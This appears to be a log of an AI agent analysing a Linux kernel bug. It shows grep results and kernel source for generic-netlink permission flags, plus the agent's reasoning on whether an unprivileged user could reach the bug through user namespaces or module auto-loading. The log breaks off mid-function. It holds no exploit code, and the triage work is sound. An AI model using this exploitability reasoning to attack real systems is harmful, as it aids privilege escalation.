net/openvswitch/datapath.c-1584- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/openvswitch/datapath.c:1585: .flags = GENL_UNS_ADMIN_PERM, /* Requires CAP_NET_ADMIN privilege. */
net/openvswitch/datapath.c-1586- .doit = ovs_flow_cmd_set,
--
net/openvswitch/datapath.c=2112=static const struct genl_small_ops dp_datapath_genl_ops[] = {
--
net/openvswitch/datapath.c-2114- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/openvswitch/datapath.c:2115: .flags = GENL_UNS_ADMIN_PERM, /* Requires CAP_NET_ADMIN privilege. */
net/openvswitch/datapath.c-2116- .doit = ovs_dp_cmd_new
--
net/openvswitch/datapath.c-2119- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/openvswitch/datapath.c:2120: .flags = GENL_UNS_ADMIN_PERM, /* Requires CAP_NET_ADMIN privilege. */
net/openvswitch/datapath.c-2121- .doit = ovs_dp_cmd_del
--
net/openvswitch/datapath.c-2130- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/openvswitch/datapath.c:2131: .flags = GENL_UNS_ADMIN_PERM, /* Requires CAP_NET_ADMIN privilege. */
net/openvswitch/datapath.c-2132- .doit = ovs_dp_cmd_set,
--
net/openvswitch/datapath.c=2640=static const struct genl_small_ops dp_vport_genl_ops[] = {
--
net/openvswitch/datapath.c-2642- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/openvswitch/datapath.c:2643: .flags = GENL_UNS_ADMIN_PERM, /* Requires CAP_NET_ADMIN privilege. */
net/openvswitch/datapath.c-2644- .doit = ovs_vport_cmd_new
--
net/openvswitch/datapath.c-2647- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/openvswitch/datapath.c:2648: .flags = GENL_UNS_ADMIN_PERM, /* Requires CAP_NET_ADMIN privilege. */
net/openvswitch/datapath.c-2649- .doit = ovs_vport_cmd_del
--
net/openvswitch/datapath.c-2658- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/openvswitch/datapath.c:2659: .flags = GENL_UNS_ADMIN_PERM, /* Requires CAP_NET_ADMIN privilege. */
net/openvswitch/datapath.c-2660- .doit = ovs_vport_cmd_set,
--
net/openvswitch/meter.c=687=static const struct genl_small_ops dp_meter_genl_ops[] = {
--
net/openvswitch/meter.c-694- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/openvswitch/meter.c:695: .flags = GENL_UNS_ADMIN_PERM, /* Requires CAP_NET_ADMIN
net/openvswitch/meter.c-696- * privilege.
--
net/openvswitch/meter.c-706- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/openvswitch/meter.c:707: .flags = GENL_UNS_ADMIN_PERM, /* Requires CAP_NET_ADMIN
net/openvswitch/meter.c-708- * privilege.
--
net/tipc/netlink.c=155=static const struct genl_ops tipc_genl_v2_ops[] = {
--
net/tipc/netlink.c-158- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/tipc/netlink.c:159: .flags = GENL_UNS_ADMIN_PERM,
net/tipc/netlink.c-160- .doit = tipc_nl_bearer_disable,
--
net/tipc/netlink.c-164- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/tipc/netlink.c:165: .flags = GENL_UNS_ADMIN_PERM,
net/tipc/netlink.c-166- .doit = tipc_nl_bearer_enable,
--
net/tipc/netlink.c-176- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/tipc/netlink.c:177: .flags = GENL_UNS_ADMIN_PERM,
net/tipc/netlink.c-178- .doit = tipc_nl_bearer_add,
--
net/tipc/netlink.c-182- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/tipc/netlink.c:183: .flags = GENL_UNS_ADMIN_PERM,
net/tipc/netlink.c-184- .doit = tipc_nl_bearer_set,
--
net/tipc/netlink.c-207- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/tipc/netlink.c:208: .flags = GENL_UNS_ADMIN_PERM,
net/tipc/netlink.c-209- .doit = tipc_nl_node_set_link,
--
net/tipc/netlink.c-213- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/tipc/netlink.c:214: .flags = GENL_UNS_ADMIN_PERM,
net/tipc/netlink.c-215- .doit = tipc_nl_node_reset_link_stats,
--
net/tipc/netlink.c-225- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/tipc/netlink.c:226: .flags = GENL_UNS_ADMIN_PERM,
net/tipc/netlink.c-227- .doit = tipc_nl_media_set,
--
net/tipc/netlink.c-241- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/tipc/netlink.c:242: .flags = GENL_UNS_ADMIN_PERM,
net/tipc/netlink.c-243- .doit = tipc_nl_net_set,
--
net/tipc/netlink.c-252- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/tipc/netlink.c:253: .flags = GENL_UNS_ADMIN_PERM,
net/tipc/netlink.c-254- .doit = tipc_nl_node_set_monitor,
--
net/tipc/netlink.c-270- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/tipc/netlink.c:271: .flags = GENL_UNS_ADMIN_PERM,
net/tipc/netlink.c-272- .doit = tipc_nl_peer_rm,
--
net/tipc/netlink.c-285- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/tipc/netlink.c:286: .flags = GENL_UNS_ADMIN_PERM,
net/tipc/netlink.c-287- .doit = tipc_nl_node_set_key,
--
net/tipc/netlink.c-291- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/tipc/netlink.c:292: .flags = GENL_UNS_ADMIN_PERM,
net/tipc/netlink.c-293- .doit = tipc_nl_node_flush_key,
--
net/wireless/nl80211.c=14183=static int nl80211_wiphy_netns(struct sk_buff *skb, struct genl_info *info)
--
net/wireless/nl80211.c-14205- * The caller already has CAP_NET_ADMIN over the source netns
net/wireless/nl80211.c:14206: * (enforced by GENL_UNS_ADMIN_PERM on the genl op). Mirror the
net/wireless/nl80211.c-14207- * convention used by net/core/rtnetlink.c::rtnl_get_net_ns_capable()
--
net/wireless/nl80211.c=19547=static const struct genl_small_ops nl80211_small_ops[] = {
--
net/wireless/nl80211.c-19551- .doit = nl80211_set_wiphy,
net/wireless/nl80211.c:19552: .flags = GENL_UNS_ADMIN_PERM,
net/wireless/nl80211.c-19553- },
--
net/wireless/nl80211.c-19565- .doit = nl80211_set_interface,
net/wireless/nl80211.c:19566: .flags = GENL_UNS_ADMIN_PERM,
net/wireless/nl80211.c-19567- .internal_flags = IFLAGS(NL80211_FLAG_NEED_NETDEV |
--
net/wireless/nl80211.c-19573- .doit = nl80211_new_interface,
net/wireless/nl80211.c:19574: .flags = GENL_UNS_ADMIN_PERM,
net/wireless/nl80211.c-19575- .internal_flags =
--
net/wireless/nl80211.c-19584- .doit = nl80211_del_interface,
net/wireless/nl80211.c:19585: .flags = GENL_UNS_ADMIN_PERM,
net/wireless/nl80211.c-19586- .internal_flags = IFLAGS(NL80211_FLAG_NEED_WDEV |
--
net/wireless/nl80211.c-19592- .doit = nl80211_get_key,
net/wireless/nl80211.c:19593: .flags = GENL_UNS_ADMIN_PERM,
net/wireless/nl80211.c-19594- .internal_flags = IFLAGS(NL80211_FLAG_NEED_WDEV_UP),
--
net/wireless/nl80211.c-19599- .doit = nl80211_set_key,
net/wireless/nl80211.c:19600: .flags = GENL_UNS_ADMIN_PERM,
net/wireless/nl80211.c-19601- /* cannot use NL80211_FLAG_MLO_VALID_LINK_ID, depends on key */
--
net/wireless/nl80211.c-19608- .doit = nl80211_new_key,
net/wireless/nl80211.c:19609: .flags = GENL_UNS_ADMIN_PERM,
net/wireless/nl80211.c-19610- .internal_flags = IFLAGS(NL80211_FLAG_NEED_WDEV_UP |
--
net/wireless/nl80211.c-19616- .doit = nl80211_del_key,
net/wireless/nl80211.c:19617: .flags = GENL_UNS_ADMIN_PERM,
net/wireless/nl80211.c-19618- .internal_flags = IFLAGS(NL80211_FLAG_NEED_WDEV_UP),
--
net/wireless/nl80211.c-19622- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/wireless/nl80211.c:19623: .flags = GENL_UNS_ADMIN_PERM,
net/wireless/nl80211.c-19624- .doit = nl80211_set_beacon,
--
net/wireless/nl80211.c-19630- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/wireless/nl80211.c:19631: .flags = GENL_UNS_ADMIN_PERM,
net/wireless/nl80211.c-19632- .doit = nl80211_start_ap,
--
net/wireless/nl80211.c-19638- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/wireless/nl80211.c:19639: .flags = GENL_UNS_ADMIN_PERM,
net/wireless/nl80211.c-19640- .doit = nl80211_stop_ap,
--
net/wireless/nl80211.c-19654- .doit = nl80211_set_station,
net/wireless/nl80211.c:19655: .flags = GENL_UNS_ADMIN_PERM,
net/wireless/nl80211.c-19656- .internal_flags = IFLAGS(NL80211_FLAG_NEED_WDEV_UP),
--
net/wireless/nl80211.c-19661- .doit = nl80211_new_station,
net/wireless/nl80211.c:19662: .flags = GENL_UNS_ADMIN_PERM,
net/wireless/nl80211.c-19663- .internal_flags = IFLAGS(NL80211_FLAG_NEED_WDEV_UP),
--
net/wireless/nl80211.c-19668- .doit = nl80211_del_station,
net/wireless/nl80211.c:19669: .flags = GENL_UNS_ADMIN_PERM,
net/wireless/nl80211.c-19670- /* cannot use NL80211_FLAG_MLO_VALID_LINK_ID, depends on
--
]
|
| 60/2 |
2026/08/14 11:18 |
llm |
expert |
0m
Model:
Tokens:
input: 56167
output: 34
thoughts: 299
Thoughts: **Analyzing the Potential Vulnerability**
Okay, so `GENL_UNS_ADMIN_PERM` is defined as `0x10`. Got it. Now, `genl_family_rcv_msg` is checking the flags:
```c
if ((op.flags & GENL_UNS_ADMIN_PERM) &&
!netlink_ns_capable(skb, net->user_ns, CAP_NET_ADMIN))
```
Right, it needs `CAP_NET_ADMIN` in the namespace of the Netlink socket to proceed if that flag is set. That's good; it means we can narrow things down. If an unprivileged user spins up a user namespace and a network namespace, they'll have `CAP_NET_ADMIN` in *that* network namespace. This suggests the bug *could* be exploited from a user namespace, which is concerning.
But hold on... the reproducer *doesn't* use `unshare`. It just runs directly. Hmm. Okay, so that means `mac802154_hwsim` has to be loaded *somehow*. And since it's a module, it's not likely to be loaded by default. Could an unprivileged user load it? Usually, no. However, if it's already loaded or if it's auto-loaded... then yes. Is it auto-loaded? The module might have a `MODULE_ALIAS_GENL_FAMILY("MAC802154_HWSIM")` entry. Okay, I need to check if `mac802154_hwsim` has this alias, because that's the key to making this exploitable.
|
| 61/2 |
2026/08/14 11:18 |
tool |
grepper |
0m
Error:
Args: map[Expression:MODULE_ALIAS_GENL_FAMILY.*MAC802154_HWSIM]
Results:
|
| 62/2 |
2026/08/14 11:18 |
llm |
expert |
0m
Model:
Tokens:
input: 56883
output: 20
thoughts: 24
Thoughts: Here's a summary of my thought process:
**Diving into the `mac802154_hwsim.c` Module**
Okay, time to dig in. I'm going to start by looking at `MODULE_ALIAS` within `mac802154_hwsim.c`. I need to understand how this module is being identified or registered, and `MODULE_ALIAS` is a common way to do that in the kernel. I'm betting it gives me clues about its purpose, how it's intended to be used, and potentially its relationship to other modules or device drivers. Specifically, I'm expecting this alias to be connected to the hardware simulation aspect of the module, and possibly how it presents itself to the system.
|
| 63/2 |
2026/08/14 11:18 |
tool |
grepper |
0m
Error:
Args: map[Expression:MODULE_ALIAS.*hwsim]
Results:
|
| 64/2 |
2026/08/14 11:18 |
llm |
expert |
0m
Model:
Tokens:
input: 57103
output: 48
thoughts: 24
Thoughts: Here's a summary of my thought process:
**Diving into the `mac802154_hwsim.c` Module**
Okay, time to dig in. I'm going to start by looking at `MODULE_ALIAS` within `mac802154_hwsim.c`. I need to understand how this module is being identified or registered, and `MODULE_ALIAS` is a common way to do that in the kernel. I'm betting it gives me clues about its purpose, how it's intended to be used, and potentially its relationship to other modules or device drivers. Specifically, I'm expecting this alias to be connected to the hardware simulation aspect of the module, and possibly how it presents itself to the system.
|
| 65/2 |
2026/08/14 11:18 |
tool |
grepper |
0m
Error:
Args: map[Expression:MODULE_ALIAS PathPrefix:drivers/net/ieee802154/mac802154_hwsim.c]
Results:
|
| 66/2 |
2026/08/14 11:18 |
llm |
expert |
0m
Model:
Tokens:
input: 57351
output: 53
thoughts: 134
Thoughts: **Debugging a Potential Kernel Module Loading Issue**
Okay, so the module might not be auto-loading as expected. That's the first thing that springs to mind. But hang on a second, the reproducer uses `MAC802154_HWSIM_CMD_NEW_RADIO`. If the module isn't loaded, then the specific family associated with that command wouldn't be found, right? Hmm, that makes sense. But, and this is important, in these Syzkaller environments, `mac802154_hwsim` is *often* either pre-loaded or actually built directly into the kernel. So, maybe it's *not* a simple module loading problem. I need to dig deeper. What about `NL802154_CMD_TRIGGER_SCAN`? Now *that* command is part of the `nl802154` family. Let's shift focus and check the flags associated with the `nl802154` family to see if there's an issue there instead. This could be where the root of the problem resides, given the prevalence of that module in the system.
|
| 67/2 |
2026/08/14 11:18 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/ieee802154/nl802154.c Name:nl802154_ops]
Results: map[SourceCode:2770: static const struct genl_ops nl802154_ops[] = {
2771: {
2772: .cmd = NL802154_CMD_GET_WPAN_PHY,
2773: .validate = GENL_DONT_VALIDATE_STRICT |
2774: GENL_DONT_VALIDATE_DUMP_STRICT,
2775: .doit = nl802154_get_wpan_phy,
2776: .dumpit = nl802154_dump_wpan_phy,
2777: .done = nl802154_dump_wpan_phy_done,
2778: /* can be retrieved by unprivileged users */
2779: .internal_flags = NL802154_FLAG_NEED_WPAN_PHY |
2780: NL802154_FLAG_NEED_RTNL,
2781: },
2782: {
2783: .cmd = NL802154_CMD_GET_INTERFACE,
2784: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
2785: .doit = nl802154_get_interface,
2786: .dumpit = nl802154_dump_interface,
2787: /* can be retrieved by unprivileged users */
2788: .internal_flags = NL802154_FLAG_NEED_WPAN_DEV |
2789: NL802154_FLAG_NEED_RTNL,
2790: },
2791: {
2792: .cmd = NL802154_CMD_NEW_INTERFACE,
2793: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
2794: .doit = nl802154_new_interface,
2795: .flags = GENL_ADMIN_PERM,
2796: .internal_flags = NL802154_FLAG_NEED_WPAN_PHY |
2797: NL802154_FLAG_NEED_RTNL,
2798: },
2799: {
2800: .cmd = NL802154_CMD_DEL_INTERFACE,
2801: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
2802: .doit = nl802154_del_interface,
2803: .flags = GENL_ADMIN_PERM,
2804: .internal_flags = NL802154_FLAG_NEED_WPAN_DEV |
2805: NL802154_FLAG_NEED_RTNL,
2806: },
2807: {
2808: .cmd = NL802154_CMD_SET_CHANNEL,
2809: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
2810: .doit = nl802154_set_channel,
2811: .flags = GENL_ADMIN_PERM,
2812: .internal_flags = NL802154_FLAG_NEED_WPAN_PHY |
2813: NL802154_FLAG_NEED_RTNL,
2814: },
2815: {
2816: .cmd = NL802154_CMD_SET_CCA_MODE,
2817: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
2818: .doit = nl802154_set_cca_mode,
2819: .flags = GENL_ADMIN_PERM,
2820: .internal_flags = NL802154_FLAG_NEED_WPAN_PHY |
2821: NL802154_FLAG_NEED_RTNL,
2822: },
2823: {
2824: .cmd = NL802154_CMD_SET_CCA_ED_LEVEL,
2825: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
2826: .doit = nl802154_set_cca_ed_level,
2827: .flags = GENL_ADMIN_PERM,
2828: .internal_flags = NL802154_FLAG_NEED_WPAN_PHY |
2829: NL802154_FLAG_NEED_RTNL,
2830: },
2831: {
2832: .cmd = NL802154_CMD_SET_TX_POWER,
2833: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
2834: .doit = nl802154_set_tx_power,
2835: .flags = GENL_ADMIN_PERM,
2836: .internal_flags = NL802154_FLAG_NEED_WPAN_PHY |
2837: NL802154_FLAG_NEED_RTNL,
2838: },
2839: {
2840: .cmd = NL802154_CMD_SET_WPAN_PHY_NETNS,
2841: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
2842: .doit = nl802154_wpan_phy_netns,
2843: .flags = GENL_ADMIN_PERM,
2844: .internal_flags = NL802154_FLAG_NEED_WPAN_PHY |
2845: NL802154_FLAG_NEED_RTNL,
2846: },
2847: {
2848: .cmd = NL802154_CMD_SET_PAN_ID,
2849: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
2850: .doit = nl802154_set_pan_id,
2851: .flags = GENL_ADMIN_PERM,
2852: .internal_flags = NL802154_FLAG_NEED_NETDEV |
2853: NL802154_FLAG_NEED_RTNL,
2854: },
2855: {
2856: .cmd = NL802154_CMD_SET_SHORT_ADDR,
2857: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
2858: .doit = nl802154_set_short_addr,
2859: .flags = GENL_ADMIN_PERM,
2860: .internal_flags = NL802154_FLAG_NEED_NETDEV |
2861: NL802154_FLAG_NEED_RTNL,
2862: },
2863: {
2864: .cmd = NL802154_CMD_SET_BACKOFF_EXPONENT,
2865: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
2866: .doit = nl802154_set_backoff_exponent,
2867: .flags = GENL_ADMIN_PERM,
2868: .internal_flags = NL802154_FLAG_NEED_NETDEV |
2869: NL802154_FLAG_NEED_RTNL,
2870: },
2871: {
2872: .cmd = NL802154_CMD_SET_MAX_CSMA_BACKOFFS,
2873: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
2874: .doit = nl802154_set_max_csma_backoffs,
2875: .flags = GENL_ADMIN_PERM,
2876: .internal_flags = NL802154_FLAG_NEED_NETDEV |
2877: NL802154_FLAG_NEED_RTNL,
2878: },
2879: {
2880: .cmd = NL802154_CMD_SET_MAX_FRAME_RETRIES,
2881: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
2882: .doit = nl802154_set_max_frame_retries,
2883: .flags = GENL_ADMIN_PERM,
2884: .internal_flags = NL802154_FLAG_NEED_NETDEV |
2885: NL802154_FLAG_NEED_RTNL,
2886: },
2887: {
2888: .cmd = NL802154_CMD_SET_LBT_MODE,
2889: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
2890: .doit = nl802154_set_lbt_mode,
2891: .flags = GENL_ADMIN_PERM,
2892: .internal_flags = NL802154_FLAG_NEED_NETDEV |
2893: NL802154_FLAG_NEED_RTNL,
2894: },
2895: {
2896: .cmd = NL802154_CMD_SET_ACKREQ_DEFAULT,
2897: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
2898: .doit = nl802154_set_ackreq_default,
2899: .flags = GENL_ADMIN_PERM,
2900: .internal_flags = NL802154_FLAG_NEED_NETDEV |
2901: NL802154_FLAG_NEED_RTNL,
2902: },
2903: {
2904: .cmd = NL802154_CMD_TRIGGER_SCAN,
2905: .doit = nl802154_trigger_scan,
2906: .flags = GENL_ADMIN_PERM,
2907: .internal_flags = NL802154_FLAG_NEED_NETDEV |
2908: NL802154_FLAG_CHECK_NETDEV_UP |
2909: NL802154_FLAG_NEED_RTNL,
2910: },
2911: {
2912: .cmd = NL802154_CMD_ABORT_SCAN,
2913: .doit = nl802154_abort_scan,
2914: .flags = GENL_ADMIN_PERM,
2915: .internal_flags = NL802154_FLAG_NEED_NETDEV |
2916: NL802154_FLAG_CHECK_NETDEV_UP |
2917: NL802154_FLAG_NEED_RTNL,
2918: },
2919: {
2920: .cmd = NL802154_CMD_SEND_BEACONS,
2921: .doit = nl802154_send_beacons,
2922: .flags = GENL_ADMIN_PERM,
2923: .internal_flags = NL802154_FLAG_NEED_NETDEV |
2924: NL802154_FLAG_CHECK_NETDEV_UP |
2925: NL802154_FLAG_NEED_RTNL,
2926: },
2927: {
2928: .cmd = NL802154_CMD_STOP_BEACONS,
2929: .doit = nl802154_stop_beacons,
2930: .flags = GENL_ADMIN_PERM,
2931: .internal_flags = NL802154_FLAG_NEED_NETDEV |
2932: NL802154_FLAG_CHECK_NETDEV_UP |
2933: NL802154_FLAG_NEED_RTNL,
2934: },
2935: {
2936: .cmd = NL802154_CMD_ASSOCIATE,
2937: .doit = nl802154_associate,
2938: .flags = GENL_ADMIN_PERM,
2939: .internal_flags = NL802154_FLAG_NEED_NETDEV |
2940: NL802154_FLAG_CHECK_NETDEV_UP |
2941: NL802154_FLAG_NEED_RTNL,
2942: },
2943: {
2944: .cmd = NL802154_CMD_DISASSOCIATE,
2945: .doit = nl802154_disassociate,
2946: .flags = GENL_ADMIN_PERM,
2947: .internal_flags = NL802154_FLAG_NEED_NETDEV |
2948: NL802154_FLAG_CHECK_NETDEV_UP |
2949: NL802154_FLAG_NEED_RTNL,
2950: },
2951: {
2952: .cmd = NL802154_CMD_SET_MAX_ASSOCIATIONS,
2953: .doit = nl802154_set_max_associations,
2954: .flags = GENL_ADMIN_PERM,
2955: .internal_flags = NL802154_FLAG_NEED_NETDEV |
2956: NL802154_FLAG_NEED_RTNL,
2957: },
2958: {
2959: .cmd = NL802154_CMD_LIST_ASSOCIATIONS,
2960: .dumpit = nl802154_list_associations,
2961: /* can be retrieved by unprivileged users */
2962: },
2963: #ifdef CONFIG_IEEE802154_NL802154_EXPERIMENTAL
2964: {
2965: .cmd = NL802154_CMD_SET_SEC_PARAMS,
2966: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
2967: .doit = nl802154_set_llsec_params,
2968: .flags = GENL_ADMIN_PERM,
2969: .internal_flags = NL802154_FLAG_NEED_NETDEV |
2970: NL802154_FLAG_NEED_RTNL,
2971: },
2972: {
2973: .cmd = NL802154_CMD_GET_SEC_KEY,
2974: .validate = GENL_DONT_VALIDATE_STRICT |
2975: GENL_DONT_VALIDATE_DUMP_STRICT,
2976: /* TODO .doit by matching key id? */
2977: .dumpit = nl802154_dump_llsec_key,
2978: .flags = GENL_ADMIN_PERM,
2979: .internal_flags = NL802154_FLAG_NEED_NETDEV |
2980: NL802154_FLAG_NEED_RTNL,
2981: },
2982: {
2983: .cmd = NL802154_CMD_NEW_SEC_KEY,
2984: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
2985: .doit = nl802154_add_llsec_key,
2986: .flags = GENL_ADMIN_PERM,
2987: .internal_flags = NL802154_FLAG_NEED_NETDEV |
2988: NL802154_FLAG_NEED_RTNL,
2989: },
2990: {
2991: .cmd = NL802154_CMD_DEL_SEC_KEY,
2992: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
2993: .doit = nl802154_del_llsec_key,
2994: .flags = GENL_ADMIN_PERM,
2995: .internal_flags = NL802154_FLAG_NEED_NETDEV |
2996: NL802154_FLAG_NEED_RTNL,
2997: },
2998: /* TODO unique identifier must short+pan OR extended_addr */
2999: {
3000: .cmd = NL802154_CMD_GET_SEC_DEV,
3001: .validate = GENL_DONT_VALIDATE_STRICT |
3002: GENL_DONT_VALIDATE_DUMP_STRICT,
3003: /* TODO .doit by matching extended_addr? */
3004: .dumpit = nl802154_dump_llsec_dev,
3005: .flags = GENL_ADMIN_PERM,
3006: .internal_flags = NL802154_FLAG_NEED_NETDEV |
3007: NL802154_FLAG_NEED_RTNL,
3008: },
3009: {
3010: .cmd = NL802154_CMD_NEW_SEC_DEV,
3011: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
3012: .doit = nl802154_add_llsec_dev,
3013: .flags = GENL_ADMIN_PERM,
3014: .internal_flags = NL802154_FLAG_NEED_NETDEV |
3015: NL802154_FLAG_NEED_RTNL,
3016: },
3017: {
3018: .cmd = NL802154_CMD_DEL_SEC_DEV,
3019: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
3020: .doit = nl802154_del_llsec_dev,
3021: .flags = GENL_ADMIN_PERM,
3022: .internal_flags = NL802154_FLAG_NEED_NETDEV |
3023: NL802154_FLAG_NEED_RTNL,
3024: },
3025: /* TODO remove complete devkey, put it as nested? */
3026: {
3027: .cmd = NL802154_CMD_GET_SEC_DEVKEY,
3028: .validate = GENL_DONT_VALIDATE_STRICT |
3029: GENL_DONT_VALIDATE_DUMP_STRICT,
3030: /* TODO doit by matching ??? */
3031: .dumpit = nl802154_dump_llsec_devkey,
3032: .flags = GENL_ADMIN_PERM,
3033: .internal_flags = NL802154_FLAG_NEED_NETDEV |
3034: NL802154_FLAG_NEED_RTNL,
3035: },
3036: {
3037: .cmd = NL802154_CMD_NEW_SEC_DEVKEY,
3038: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
3039: .doit = nl802154_add_llsec_devkey,
3040: .flags = GENL_ADMIN_PERM,
3041: .internal_flags = NL802154_FLAG_NEED_NETDEV |
3042: NL802154_FLAG_NEED_RTNL,
3043: },
3044: {
3045: .cmd = NL802154_CMD_DEL_SEC_DEVKEY,
3046: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
3047: .doit = nl802154_del_llsec_devkey,
3048: .flags = GENL_ADMIN_PERM,
3049: .internal_flags = NL802154_FLAG_NEED_NETDEV |
3050: NL802154_FLAG_NEED_RTNL,
3051: },
3052: {
3053: .cmd = NL802154_CMD_GET_SEC_LEVEL,
3054: .validate = GENL_DONT_VALIDATE_STRICT |
3055: GENL_DONT_VALIDATE_DUMP_STRICT,
3056: /* TODO .doit by matching frame_type? */
3057: .dumpit = nl802154_dump_llsec_seclevel,
3058: .flags = GENL_ADMIN_PERM,
3059: .internal_flags = NL802154_FLAG_NEED_NETDEV |
3060: NL802154_FLAG_NEED_RTNL,
3061: },
3062: {
3063: .cmd = NL802154_CMD_NEW_SEC_LEVEL,
3064: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
3065: .doit = nl802154_add_llsec_seclevel,
3066: .flags = GENL_ADMIN_PERM,
3067: .internal_flags = NL802154_FLAG_NEED_NETDEV |
3068: NL802154_FLAG_NEED_RTNL,
3069: },
3070: {
3071: .cmd = NL802154_CMD_DEL_SEC_LEVEL,
3072: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
3073: /* TODO match frame_type only? */
3074: .doit = nl802154_del_llsec_seclevel,
3075: .flags = GENL_ADMIN_PERM,
3076: .internal_flags = NL802154_FLAG_NEED_NETDEV |
3077: NL802154_FLAG_NEED_RTNL,
3078: },
3079: #endif /* CONFIG_IEEE802154_NL802154_EXPERIMENTAL */
3080: };
SourceFile:net/ieee802154/nl802154.c]
|
| 68/2 |
2026/08/14 11:18 |
llm |
expert |
0m
Model:
Tokens:
input: 64235
output: 43
thoughts: 98
Thoughts: Here's my thought process, as if I were analyzing this code:
**Analyzing Network Namespace Permissions for a Scan Trigger Command**
Okay, so I see this `NL802154_CMD_TRIGGER_SCAN` command and its flags are set to `GENL_ADMIN_PERM`. Right away, that raises a flag. `GENL_ADMIN_PERM`... that's a security-related thing. I know that means it's going to require the `CAP_NET_ADMIN` capability, specifically within the *initial* network namespace. That’s the default, global namespace and often where root privileges are centered.
But wait, hold on a second... is my initial understanding correct, or am I missing something? Let me re-verify. Oh, yes, here it is, the permission check looks at `netlink_capable(skb, CAP_NET_ADMIN)`. Good, that's what I expected. The kernel function `netlink_capable` verifies that the current Netlink socket's Security Context (skb) has the right capability.
Okay, so the `GENL_ADMIN_PERM` flag *does* require that the triggering process holds `CAP_NET_ADMIN` in the initial namespace, which is good. That's a reasonable level of privilege. But let’s make sure there aren’t any other gotchas in the surrounding code. Let me quickly examine `genl_family_rcv_msg` to ensure there aren’t other vulnerabilities involved in getting to this permission check.
|
| 69/2 |
2026/08/14 11:19 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netlink/genetlink.c Name:genl_family_rcv_msg]
Results: map[SourceCode:1155: static int genl_family_rcv_msg(const struct genl_family *family,
1156: struct sk_buff *skb,
1157: struct nlmsghdr *nlh,
1158: struct netlink_ext_ack *extack)
1159: {
1160: struct net *net = sock_net(skb->sk);
1161: struct genlmsghdr *hdr = nlmsg_data(nlh);
1162: struct genl_split_ops op;
1163: int hdrlen;
1164: u8 flags;
1165:
1166: /* this family doesn't exist in this netns */
1167: if (!family->netnsok && !net_eq(net, &init_net))
1168: return -ENOENT;
1169:
1170: hdrlen = GENL_HDRLEN + family->hdrsize;
1171: if (nlh->nlmsg_len < nlmsg_msg_size(hdrlen))
1172: return -EINVAL;
1173:
1174: if (genl_header_check(family, nlh, hdr, extack))
1175: return -EINVAL;
1176:
